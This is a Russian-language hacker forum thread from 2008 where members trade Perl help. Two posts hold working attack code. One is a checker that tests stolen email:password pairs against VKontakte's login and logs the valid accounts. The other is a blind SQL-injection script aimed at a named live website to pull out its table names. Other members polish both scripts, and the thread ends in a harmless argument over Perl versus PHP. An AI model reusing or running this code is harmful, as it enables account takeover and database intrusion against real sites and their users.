[Perl] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. biophreak

    biophreak Elder - Старейшина

    Joined:
    3 Aug 2007
    Messages:
    348
    Likes Received:
    63
    Reputations:
    15
    Нет, не в одной подсетисети дело - как миниму странно будет то, что 1 ИП будет с разных акков логиниться, запрашивать rate.php и уходить с сайта
     
  2. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    ну можно передлать чтоб с главной брал рейтинг ) какие проблемы? )

    вот рабочий код.
    ЗЫ можно еще сделать чтоб на pda.vkontakte.ru ломилсмя трафа меньше есть и проверка быстрее пойдет )
    HTML:
    #!/usr/bin/perl
    # VKONTAKTE    cheker
    # Original author Xszz.AoH
    # Modified by svesve
    # tnx to a4at members who help me with perl ;-)
    use strict;
    use LWP::UserAgent;
    
    use HTTP::Cookies;
    
    open (FILE , '<logs.txt');
    my @f = <FILE>;
    chomp @f;
    my $ua = LWP::UserAgent->new;
    my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
    $ua->cookie_jar($cookies);
    open (OUT , '>>IDS_rate.txt');
    while (@f)
    {
    my ($mail, $pass) = split(/:/, shift(@f));
    
    my $req = $ua->post('http://vkontakte.ru/login.php', { email => $mail, pass => $pass } )->as_string;
    my $suc = $req =~ /302 Found/;
    if ($suc )
    {
    $req = $ua->get('http://vkontakte.ru/index.php')->as_string;
    my $id = $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)("&gt;)/;
    my $idd=$2;
    my $res = $1 if $req=~m/<div id="percent">(.{1,4})</;
    print "[rate=$res]:[id=$idd]:$mail:$pass\n";
    if (!$idd)
    {
    print "Account deleted \n";
    }
    print OUT $res.":".$idd.":".$mail.":".$pass."\n";
    }
    else{print"[-]bad login or password \n";}
    }
    close OUT;
    close FILE;
    
     
    #542 svesve, 22 Jun 2008
    Last edited: 22 Jun 2008
  3. biophreak

    biophreak Elder - Старейшина

    Joined:
    3 Aug 2007
    Messages:
    348
    Likes Received:
    63
    Reputations:
    15
    Всетаки замени
    Code:
    if (!$idd)
    {
    print "Account deleted \n";
    }
    
    На чтото типа
    Code:
    (print "Accont $mail is deleted\n" and next) if !$idd;
    
     
    1 person likes this.
  4. demonoid

    demonoid Banned

    Joined:
    12 Jan 2007
    Messages:
    101
    Likes Received:
    111
    Reputations:
    27
    Code:
    (print "Accont $mail is deleted\n" and next) unless $idd;
     
    4 people like this.
  5. z3r0cool

    z3r0cool Elder - Старейшина

    Joined:
    22 Apr 2008
    Messages:
    32
    Likes Received:
    11
    Reputations:
    0
    Подскажите плиз!

    Написал свой первый скрипт-exploit на перле, подскажите, как правильнее\лучше написать с точки зрения синтаксиса?
    Скрипт рабочий.

    Code:
    #!/usr/bin/perl
    use LWP;
    
    my $browser = LWP::UserAgent->new;
    my $url = "http://e-rfo.ru/?i=logon";
    
    
    print "Starting sql-code injection...\n";
    &GetTables('',0,0,'');
    
    sub GetTables{
    my ($ascii_set,$tnl, $node, $tn);
    
    $ascii_set = $_[0];
    $tnl = $_[1];
    $node = $_[2];
    $tn= $_[3];
    
    my $curr_tnl = $tnl+1;
    my $curr_tn = '';
    my $curr_set = '';
    my $curr_node = $node+1;
    my $table_finded = 0;
    
    for $i (95..122)
    {
    	if (length($tn) == 0)
    		{
    		$curr_tn = chr($i);
    		}
    	else
    		{
    		$curr_tn = "$tn" .chr($i);
    		}
    	if (length($ascii_set) == 0)
    	{
    	$curr_set = $i;
    	}
    	else
    	{
    	$curr_set = $ascii_set.','.$i;
    	}
    	$char = 'CHAR('.$curr_set.')';
    	$post = "admin' AND 1=(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE LEFT(TABLE_NAME,$curr_tnl)=$char UNION ALL SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE LEFT(TABLE_NAME,$curr_tnl)=$char)/*";
    	$response = $browser->post($url, ['login' => $post, 'password' => '', 'op' => 'login']);
    	$content = $response->content;
    	if ($content =~ "Subquery returns more than 1 row")
    		{
    			print "LEFT(TABLE_NAME,$curr_tnl) is: ",$curr_tn,"\n";
    			$table_finded = 1;
    			GetTables($curr_set, $curr_tnl, $curr_node, $curr_tn);
    			if ($curr_node > 5)
    			{
    			return;
    			}
    		}
    	else
    		{
    		if (length($curr_tn) > 1 && $table_finded == 0 && $i == 122)
    			{
    			print "Table name is: " .substr($curr_tn,0,length($curr_tn)-1)."\n";
    			}
    		}
    	if ($response->is_success == false)
    	{
    		print "connection error...\n";
    	}
    $curr_set = '';
    }
    }
    
     
  6. biophreak

    biophreak Elder - Старейшина

    Joined:
    3 Aug 2007
    Messages:
    348
    Likes Received:
    63
    Reputations:
    15
    Code:
    use warnings 'all';
    use strict;
    use diagnostics;
    
     
    1 person likes this.
  7. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    подпрограммы не нужно вызывать, ставя перед их вызовом амперсанд.
    Быть может, не так надо?
    Code:
    $ascii_set = $_[0];
    $tnl = $_[1];
    $node = $_[2];
    $tn= $_[3];
    
    А вот так?
    Code:
    my ($ascii_set, $tnl, $node, $tn) = @_;
    
     
    #547 krypt3r, 23 Jun 2008
    Last edited: 23 Jun 2008
    2 people like this.
  8. biophreak

    biophreak Elder - Старейшина

    Joined:
    3 Aug 2007
    Messages:
    348
    Likes Received:
    63
    Reputations:
    15
    Code:
    $curr_tn = "$tn" .chr($i);
    Да че у вас всех мания переменные в двойных ковычках писать? :)))
    Интерпретатор болше времени затрачивает на парсинг :)
    Вот это
    Code:
    if (length($tn) == 0)
    		{
    		$curr_tn = chr($i);
    		}
    	else
    		{
    		$curr_tn = "$tn" .chr($i);
    		}
    
    Можно записать ИМХО немного читаеме и удобнее, чтото типа того:
    Code:
    $curr_tn = (length($tn) > 0 ? chr($i) : $tn.chr($i))
    
    И ИМХО лучше
    Code:
    if ($response->is_success == false)
    	{
    		print "connection error...\n";
    	}
    
    Записать так:
    Code:
    exit print "Connection error..." if(!response->is_success)
    
    Хотя форматирование и стиль кода - сугубо личное дело каждого...у меня вообще звиздос иногда творится :))))
     
    #548 biophreak, 23 Jun 2008
    Last edited: 23 Jun 2008
    1 person likes this.
  9. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Кстати, и в самом деле, нахрена переменные в кавычки пихать? о_О
     
  10. z3r0cool

    z3r0cool Elder - Старейшина

    Joined:
    22 Apr 2008
    Messages:
    32
    Likes Received:
    11
    Reputations:
    0
    Самый первый раз писал ;), научимся ;)
     
  11. MaTpOc

    MaTpOc Elder - Старейшина

    Joined:
    5 May 2008
    Messages:
    633
    Likes Received:
    475
    Reputations:
    25
    Надумал учить Perl, подскажите самый хороший учебник который можно скачать в нете, ток чтоб все в одном было а не страницы в нете, заранее спс.
     
  12. Naydav

    Naydav Elder - Старейшина

    Joined:
    30 Dec 2006
    Messages:
    439
    Likes Received:
    63
    Reputations:
    4
    Учи php, чесс слово
    а то мне это напоминает "Надумал учить Turbo Pascal" :)
     
  13. Naydav

    Naydav Elder - Старейшина

    Joined:
    30 Dec 2006
    Messages:
    439
    Likes Received:
    63
    Reputations:
    4
    Если начинать, учить язык web-программирования, то лучше PHP или ASP.net, а не perl
    Если начинать, учить язык прикладного программирования, то лучше С++ или Delphi, а не Pascal

    Почему? спрос(а значит и деньги)
    Да в некоторых целях, perl незаменим...
    Но использовать его как основной язык - пережиток прошлого, также как и паскаль
    Все конечно имхо
     
  14. pento

    pento Elder - Старейшина

    Joined:
    3 Jul 2006
    Messages:
    126
    Likes Received:
    24
    Reputations:
    -1
    camel book
    Но, как уже сказали выше, перл учить не стоит. Лучше хотя бы пых, а еще лучше питон.
     
  15. biophreak

    biophreak Elder - Старейшина

    Joined:
    3 Aug 2007
    Messages:
    348
    Likes Received:
    63
    Reputations:
    15
    Или Ruby, тоже ничего себе вещичка )
     
  16. Naydav

    Naydav Elder - Старейшина

    Joined:
    30 Dec 2006
    Messages:
    439
    Likes Received:
    63
    Reputations:
    4
    согласен на выучить php намного проще, чем нуучиться им пользоваться, но
    1) А почему так мало прогеров перл? потому что это умирающий язык
    где востребован? для сайтов которые когда-то были написаны не перл, и теперь владельцы кусают локти, что нужно платить больше, потому что, их сайт написан на умирающем языке. Кто сейчас использует перл(кроме индикатора загрузки и тому подобных штучках)? Вообще новое хоть что-тосоздаеться на перл? перл-программисты - динозавры, с каждым днем вымирающие, так же как и сайты написанные на перл, не нужны они, в большинстве случаев
    2)
    Нормальный работодатель, отличит того кто знает php, от того кто умеет им правильно пользоваться(через день, через неделю)
    Только проэкты создаються на пхп и асп не потому, что много пхп и асп программистов, а как раз НАОБОРОТ, таких прогеров больше, потому что, пхп и асп более востребованны...

    И по зарплатам, я бы еще поспорил, в среденем, хороший пхп прогер получает больше перл прогера

    Можно провести аналогию, перл - это в футболе, как бы играть с либеро, а не в линию
    Да, либеро будет больше получать(пока), пока еще остаються инвалидные клубы, которые играют не в линию, а с последним защитником... но хай левела тиких точно нет :)

    И вообще ровняться нужно на "гостей из будущего", не слышал чтобы пропагандировали перл
     
    #556 Naydav, 25 Jun 2008
    Last edited: 25 Jun 2008
    1 person likes this.
  17. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    >> где востребован? для сайтов которые когда-то были написаны не перл, и теперь владельцы кусают локти, что нужно платить больше, потому что, их сайт написан на умирающем языке. Кто сейчас использует перл(кроме индикатора загрузки и тому подобных штучках)?

    Яндекс - вымирающий сайт? Хехе. Не стоит говорить то о чём не знаешь.
    http://company.yandex.ru/inside/job/index.xml
    А вот того же пхп там нету. Делай выводы о невостребованности.

    >> И по зарплатам, я бы еще поспорил, в среденем, хороший пхп прогер получает больше перл прогера
    Ты реально загоняешь. combats.ru - популярнейшая браузерная игра написана на перле, или это тоже нихера не востребованный сайт?
     
    #557 .Slip, 25 Jun 2008
    Last edited: 25 Jun 2008
  18. Naydav

    Naydav Elder - Старейшина

    Joined:
    30 Dec 2006
    Messages:
    439
    Likes Received:
    63
    Reputations:
    4
    Ну не будут же яндекс под пхп ни с того, ни с сего переделывать, пока работает и так, зачем усложнять жизнь...

    Я бы с радостью посмотрел на примеры посвежее, особенно от Google
     
  19. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    811
    Reputations:
    231
    Да, да перл фигня, всем срочно переходить на Php
     
    _________________________
  20. Naydav

    Naydav Elder - Старейшина

    Joined:
    30 Dec 2006
    Messages:
    439
    Likes Received:
    63
    Reputations:
    4
    вообщем, каждый остался при своем мнении
     
Thread Status:
Not open for further replies.